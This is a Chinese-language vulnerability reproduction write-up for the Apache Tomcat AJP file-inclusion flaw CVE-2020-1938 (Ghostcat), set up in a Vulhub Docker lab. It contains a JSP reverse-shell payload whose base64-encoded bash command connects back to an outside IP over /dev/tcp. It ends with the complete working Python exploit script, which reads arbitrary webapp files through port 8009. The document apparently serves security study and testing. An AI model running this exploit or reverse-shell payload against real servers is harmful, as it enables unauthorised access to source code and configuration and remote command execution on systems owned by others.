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414 lines
14 KiB
Markdown
414 lines
14 KiB
Markdown
# Apache Tomcat AJP 文件包含漏洞 CVE-2020-1938
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## 漏洞描述
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Java 是目前 Web 开发中最主流的编程语言，而 Tomcat 是当前最流行的 Java 中间件服务器之一，从初版发布到现在已经有二十多年历史，在世界范围内广泛使用。
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[Ghostcat（幽灵猫）](https://www.chaitin.cn/zh/ghostcat) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞，由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件，例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下，配合文件包含的利用还可以达到远程代码执行的危害。
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参考链接：
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- https://www.chaitin.cn/zh/ghostcat
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- https://www.cnvd.org.cn/webinfo/show/5415
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- https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
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- https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
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## 漏洞影响
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```
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Apache Tomcat 6
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Apache Tomcat 7 < 7.0.100
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Apache Tomcat 8 < 8.5.51
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Apache Tomcat 9 < 9.0.31
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```
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## 环境搭建
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Vulhub执行如下命令启动一个Tomcat 9.0.30：
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```
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:8080`即可查看tomcat默认页面，此时通过AJP协议的8009端口亦可访问Tomcat。
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## 漏洞复现
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利用如下工具均可测试漏洞：
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- https://github.com/chaitin/xray
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- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
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通过漏洞POC[CNVD-2020-10487-Tomcat-Ajp-lfi](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi)进行测试，注意，代码基于python2环境。
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读取WEB-INF/web.xml文件：
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在docker的ROOT目录下新建文件用来测试是否可以成功读取，首先进入容器新建一个flag.txt文件：
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```
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[root@VM-16-16-centos CVE-2020-1938]# docker exec -it fbe4 /bin/bash
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root@fbe43a63b620:/usr/local/tomcat# cd webapps/ROOT/
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root@fbe43a63b620:/usr/local/tomcat/webapps/ROOT# echo "flag{Woooooooo}" > flag.txt
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```
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执行CNVD-2020-10487-Tomcat-Ajp-lfi.py读取flag.txt文件，读取成功：
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```
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python CNVD-2020-10487-Tomcat-Ajp-lfi.py 127.0.0.1 -p 8009 -f flag.txt
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```
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### 反弹shell
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该漏洞需要配合文件上传漏洞才能利用，假设服务器已经有了存在一个txt文件，里面的内容可以执行任意命令（实际情况中，要利用目标服务器的文件上传功能上传文件）。
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构造payload：
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```
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<%
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java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDIuMjM3xxxxxxxxkgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
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int a = -1;
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byte[] b = new byte[2048];
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out.print("<pre>");
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while((a=in.read(b))!=-1){
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out.println(new String(b));
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}
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out.print("</pre>");%>
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```
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将内容保存在txt文件里，使用命令将txt文件复制到服务器的ROOT路径：
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```
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[root@VM-16-16-centos CVE-2020-1938]# docker cp shell.txt fbe4:/usr/local/tomcat/webapps/ROOT/
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```
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要想实现文件包含，必须要运行包含的文件，所以目标文件需要是jsp。
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此处需要修改CNVD-2020-10487-Tomcat-Ajp-lfi.py脚本中的文件名asdf为asdf.jsp：
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执行CNVD-2020-10487-Tomcat-Ajp-lfi.py读取shell.txt文件，执行反弹shell命令：
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```
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python CNVD-2020-10487-Tomcat-Ajp-lfi-shell.py 127.0.0.1 -p 8009 -f shell.txt
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```
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监听6666端口，成功接收反弹shell：
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## 漏洞POC
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```python
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#!/usr/bin/env python
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#CNVD-2020-10487 Tomcat-Ajp lfi
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#by ydhcui
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import struct
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# Some references:
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# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
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def pack_string(s):
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if s is None:
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return struct.pack(">h", -1)
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l = len(s)
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return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
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def unpack(stream, fmt):
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size = struct.calcsize(fmt)
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buf = stream.read(size)
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return struct.unpack(fmt, buf)
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def unpack_string(stream):
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size, = unpack(stream, ">h")
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if size == -1: # null string
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return None
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res, = unpack(stream, "%ds" % size)
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stream.read(1) # \0
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return res
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class NotFoundException(Exception):
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pass
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class AjpBodyRequest(object):
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# server == web server, container == servlet
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SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
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MAX_REQUEST_LENGTH = 8186
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def __init__(self, data_stream, data_len, data_direction=None):
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self.data_stream = data_stream
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self.data_len = data_len
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self.data_direction = data_direction
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def serialize(self):
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data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
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if len(data) == 0:
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return struct.pack(">bbH", 0x12, 0x34, 0x00)
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else:
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res = struct.pack(">H", len(data))
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res += data
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if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
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header = struct.pack(">bbH", 0x12, 0x34, len(res))
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else:
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header = struct.pack(">bbH", 0x41, 0x42, len(res))
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return header + res
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def send_and_receive(self, socket, stream):
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while True:
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data = self.serialize()
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socket.send(data)
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r = AjpResponse.receive(stream)
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while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
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r = AjpResponse.receive(stream)
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if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
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break
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class AjpForwardRequest(object):
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_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
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REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
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# server == web server, container == servlet
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SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
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COMMON_HEADERS = ["SC_REQ_ACCEPT",
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"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
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"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
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"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
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]
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ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
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def __init__(self, data_direction=None):
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self.prefix_code = 0x02
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self.method = None
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self.protocol = None
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self.req_uri = None
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self.remote_addr = None
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self.remote_host = None
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self.server_name = None
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self.server_port = None
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self.is_ssl = None
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self.num_headers = None
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self.request_headers = None
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self.attributes = None
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self.data_direction = data_direction
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def pack_headers(self):
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self.num_headers = len(self.request_headers)
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res = ""
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res = struct.pack(">h", self.num_headers)
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for h_name in self.request_headers:
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if h_name.startswith("SC_REQ"):
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code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
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res += struct.pack("BB", 0xA0, code)
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else:
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res += pack_string(h_name)
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res += pack_string(self.request_headers[h_name])
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return res
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def pack_attributes(self):
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res = b""
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for attr in self.attributes:
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a_name = attr['name']
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code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
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res += struct.pack("b", code)
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if a_name == "req_attribute":
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aa_name, a_value = attr['value']
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res += pack_string(aa_name)
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res += pack_string(a_value)
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else:
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res += pack_string(attr['value'])
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res += struct.pack("B", 0xFF)
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return res
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def serialize(self):
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res = ""
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res = struct.pack("bb", self.prefix_code, self.method)
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res += pack_string(self.protocol)
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res += pack_string(self.req_uri)
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res += pack_string(self.remote_addr)
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res += pack_string(self.remote_host)
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res += pack_string(self.server_name)
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res += struct.pack(">h", self.server_port)
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res += struct.pack("?", self.is_ssl)
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res += self.pack_headers()
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res += self.pack_attributes()
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if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
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header = struct.pack(">bbh", 0x12, 0x34, len(res))
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else:
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header = struct.pack(">bbh", 0x41, 0x42, len(res))
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return header + res
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def parse(self, raw_packet):
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stream = StringIO(raw_packet)
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self.magic1, self.magic2, data_len = unpack(stream, "bbH")
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self.prefix_code, self.method = unpack(stream, "bb")
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self.protocol = unpack_string(stream)
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self.req_uri = unpack_string(stream)
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self.remote_addr = unpack_string(stream)
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self.remote_host = unpack_string(stream)
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self.server_name = unpack_string(stream)
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self.server_port = unpack(stream, ">h")
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self.is_ssl = unpack(stream, "?")
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self.num_headers, = unpack(stream, ">H")
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self.request_headers = {}
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for i in range(self.num_headers):
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code, = unpack(stream, ">H")
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if code > 0xA000:
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h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
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else:
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h_name = unpack(stream, "%ds" % code)
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stream.read(1) # \0
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h_value = unpack_string(stream)
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self.request_headers[h_name] = h_value
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def send_and_receive(self, socket, stream, save_cookies=False):
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res = []
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i = socket.sendall(self.serialize())
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if self.method == AjpForwardRequest.POST:
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return res
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r = AjpResponse.receive(stream)
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assert r.prefix_code == AjpResponse.SEND_HEADERS
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res.append(r)
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if save_cookies and 'Set-Cookie' in r.response_headers:
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self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
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# read body chunks and end response packets
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while True:
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r = AjpResponse.receive(stream)
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res.append(r)
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if r.prefix_code == AjpResponse.END_RESPONSE:
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break
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elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
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continue
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else:
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raise NotImplementedError
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break
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return res
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class AjpResponse(object):
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_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
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COMMON_SEND_HEADERS = [
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"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
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"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
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]
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def parse(self, stream):
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# read headers
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self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
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if self.prefix_code == AjpResponse.SEND_HEADERS:
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self.parse_send_headers(stream)
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elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
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self.parse_send_body_chunk(stream)
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elif self.prefix_code == AjpResponse.END_RESPONSE:
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self.parse_end_response(stream)
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elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
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self.parse_get_body_chunk(stream)
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else:
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raise NotImplementedError
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def parse_send_headers(self, stream):
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self.http_status_code, = unpack(stream, ">H")
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self.http_status_msg = unpack_string(stream)
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self.num_headers, = unpack(stream, ">H")
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self.response_headers = {}
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for i in range(self.num_headers):
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code, = unpack(stream, ">H")
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if code <= 0xA000: # custom header
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h_name, = unpack(stream, "%ds" % code)
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stream.read(1) # \0
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h_value = unpack_string(stream)
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else:
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h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
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h_value = unpack_string(stream)
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self.response_headers[h_name] = h_value
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def parse_send_body_chunk(self, stream):
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self.data_length, = unpack(stream, ">H")
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self.data = stream.read(self.data_length+1)
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def parse_end_response(self, stream):
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self.reuse, = unpack(stream, "b")
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def parse_get_body_chunk(self, stream):
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rlen, = unpack(stream, ">H")
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return rlen
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@staticmethod
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def receive(stream):
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r = AjpResponse()
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r.parse(stream)
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return r
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import socket
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def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
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fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
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fr.method = method
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fr.protocol = "HTTP/1.1"
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fr.req_uri = req_uri
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fr.remote_addr = target_host
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fr.remote_host = None
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fr.server_name = target_host
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fr.server_port = 80
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fr.request_headers = {
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'SC_REQ_ACCEPT': 'text/html',
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'SC_REQ_CONNECTION': 'keep-alive',
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'SC_REQ_CONTENT_LENGTH': '0',
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'SC_REQ_HOST': target_host,
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'SC_REQ_USER_AGENT': 'Mozilla',
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'Accept-Encoding': 'gzip, deflate, sdch',
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'Accept-Language': 'en-US,en;q=0.5',
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'Upgrade-Insecure-Requests': '1',
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'Cache-Control': 'max-age=0'
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}
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fr.is_ssl = False
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fr.attributes = []
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return fr
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class Tomcat(object):
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def __init__(self, target_host, target_port):
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self.target_host = target_host
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self.target_port = target_port
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self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
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self.socket.connect((target_host, target_port))
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self.stream = self.socket.makefile("rb", bufsize=0)
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def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
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self.req_uri = req_uri
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self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
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print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
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if user is not None and password is not None:
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self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
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for h in headers:
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self.forward_request.request_headers[h] = headers[h]
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for a in attributes:
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self.forward_request.attributes.append(a)
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responses = self.forward_request.send_and_receive(self.socket, self.stream)
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if len(responses) == 0:
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return None, None
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snd_hdrs_res = responses[0]
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data_res = responses[1:-1]
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if len(data_res) == 0:
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print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
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return snd_hdrs_res, data_res
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'''
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javax.servlet.include.request_uri
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javax.servlet.include.path_info
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javax.servlet.include.servlet_path
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'''
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import argparse
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parser = argparse.ArgumentParser()
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parser.add_argument("target", type=str, help="Hostname or IP to attack")
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parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
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parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
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args = parser.parse_args()
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t = Tomcat(args.target, args.port)
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_,data = t.perform_request('/asdf',attributes=[
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{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
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{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
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{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
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])
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print('----------------------------')
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print("".join([d.data for d in data]))
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```
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